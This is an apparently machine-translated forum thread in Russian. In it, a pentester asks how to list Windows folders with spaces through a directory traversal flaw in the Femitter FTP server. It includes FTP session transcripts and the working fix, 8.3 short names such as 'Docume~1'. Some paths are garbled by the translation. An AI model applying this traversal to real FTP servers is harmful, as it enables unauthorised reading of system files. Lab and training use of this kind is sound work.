Атака обхода каталогов FTP по каталогам, содержащим пробелы

11327
lockout

Я провожу санкционированный пентест в закрытой референтной среде и столкнулся с кажущейся простой проблемой, которую в настоящее время не могу решить.

При попытке выполнить атаку по обходу каталога на уязвимый FTP-сервер Fermitter, работающий в ОС MS Windows, можно создать LIST в корневом каталоге системы (адреса и списки содержимого изменены здесь только для справки):

# ftp 192.168.13.22 Connected to 192.168.13.22. 220 Femitter FTP Server ready. Name (192.168.13.22:root):  331 Password required for root. Password: 230 User root logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls ../../../../ 200 Port command successful. 150 Opening data connection for directory list. -rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT -rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS 226 File sent ok 

Однако, если я хочу отобразить содержимое папки, содержащей пробелы, например Documents and settings, я не могу отобразить содержимое каталога из-за игнорирования пробелов.

ftp> ls ../../../../documents and settings/ usage: ls remote-directory local-file ftp> ls ../../../../documents\ and\ settings 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents not found 226 File sent ok ftp> ls ../../../../documents%20and%20settings 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found 226 File sent ok ftp> ls ../../../../'documents and settings'/ usage: ls remote-directory local-file ftp> ls ../../../../"documents and settings"/ 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents not found 226 File sent ok ftp> ls "../../../../documents and settings/" 200 Port command successful. 150 Opening data connection for directory list. /C:/Program Files/Femitter/Shared/../../../../documents not found 226 File sent ok 

Я уже пытался использовать разные FTP-клиенты (CLI и GUI, в Linux и Windows), и они либо игнорировали пробелы, либо запрещали обход каталога.

Также попытался написать сценарий атаки на Python, используя сначала необработанные сокеты, а затем ftplib для отправки команд в формате HEX непосредственно на FTP-сервер, но безуспешно.

Поиск в течение нескольких часов не дал рабочего решения (да, было много вариантов, которые не работали), поэтому здесь есть кто-то, у кого была такая же проблема. Я уверен, что это не первый раз, когда требуется обход каталога с пробелами.

11
Чувствительность к регистру? drewbenn 8 лет назад 0
Чувствительность к регистру не имеет значения для FTP-клиентов. По крайней мере, FTP-клиент GNU / Linux перечисляет каталоги, игнорируя регистр букв. 8 лет назад 0
@lockout: чувствительность к регистру - это дело сервера, а не клиента. Клиенты перечисляют данные так же, как сервер отправляет их, и не изменяют регистр. Steffen Ullrich 8 лет назад 0
@Steffen Ullrich: Спасибо! Этот сервер не чувствителен к регистру. И чувствительность к регистру на самом деле здесь не проблема, но есть пробелы, которые завершают обратный путь в каталогах. 8 лет назад 0
@tim: спасибо! Баннером FTP-сервера, как видно из списка, является FTP-сервер Femitter, а не собственная служба FTP Windows. Возможно, но я сомневаюсь, что эта проблема ограничена только этой версией сервера. 8 лет назад 0
Также попробуйте C: \ Docume ~ 1 \. Dog eat cat world 8 лет назад 1
Попробуйте экранировать пробелы с помощью `` \ `` или заключить в кавычки строку каталога DavidPostill 8 лет назад 1
@Dog есть кошачий мир: Вау, ты прав насчет этой записи! Я забыл об этом. Сейчас попробую и доложу. lockout 8 лет назад 0
@DavidPostill: Спасибо! Упомянутый вами вариант, помимо некоторых других подходов к выходу из пробела, уже был опробован изначально. Вы можете увидеть это в списке выше. lockout 8 лет назад 0
@Dogeatcatworld: ** Ваше предложение сработало! ** Короткая запись папки Windows `C: \ Docume ~ 1 \` полностью выпала из моей головы! Я буду обновлять пост с решением. Не могли бы вы также представить свой ответ, чтобы я мог отметить его как рабочее решение? еще раз спасибо lockout 8 лет назад 0
Держите вас лошадей, ребята! :) Я полностью новичок в этом форуме, и я опубликую решение быстро. Просто подумал, что будет лучше, если пользователь, предложивший рабочее решение, добавит его, чтобы получить правильный кредит. Все успокойся ... спасибо! lockout 8 лет назад 0
Я рад, что это сработало для вас @lockout. Поскольку у вас возникли проблемы с ответом на ваш вопрос, я согласен, что вы приняли его как ответ. Спасибо за кредитование меня. Dog eat cat world 8 лет назад 1

3 ответа на вопрос

13
lockout

Решение, предложенное @Dogeatcatworld для использования кратких обозначений каталогов MS Windows, таких как C:\Docume~1\.

ftp> ls ../../../../Docume~1/ 200 Port command successful. 150 Opening data connection for directory list. drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 . drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 .. drw-rw-rw- 1 ftp ftp 0 Sep 26 2015 Administrateur drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 All Users 226 File sent ok 

Действительно хорошая статья из базы знаний MS объясняет обозначение каталога 8.3: как Windows генерирует имена файлов 8.3 из длинных имен файлов

OSCP я вижу. Чтобы добавить подсказку, для коротких каталогов, таких как «Все пользователи», отбросьте пробел и используйте «AllUse ~ 1». Вы нашли способ смонтировать FTP для интерактивного просмотра, или вы просто скачивали файлы один за другим? n00b 6 лет назад 1
1
madsport

«Короткое имя» на самом деле является старым соглашением об именах DOS 8.3, поэтому все каталоги будут первыми 6 буквами, за которыми следует ~ 1, при условии, что существует только одно имя, которое соответствует, например:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG Я
ЕСЛИ КАТАЛОГ C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Другой каталог

Вот единственное исключение:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG Я ДИРЕКТОРИЯ
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI Directory

Источник: Как я могу найти короткий путь к каталогу / файлу Windows?

0
wireghoul

Ftp не использует URL-кодировку, поэтому% xx не будет работать, если вы не используете ftp в браузере, который может перевести его для вас.

Попробуйте вместо этого использовать кавычки, например: ls "../../some dir"

Привет, если вы посмотрите на попытки, предпринятые для обхода каталога, вы увидите, что я пытался использовать несколько кавычек: одинарные, двойные и обратные. Они не работали, как показано в списке вывода FTP. Использование% 20 было просто для экспериментов, если это сработало, из-за отчаянных попыток попробовать все варианты. Конечно,% кодирование работает в браузерах и FTP-клиентах, способных их интерпретировать. lockout 8 лет назад 0

Похожие вопросы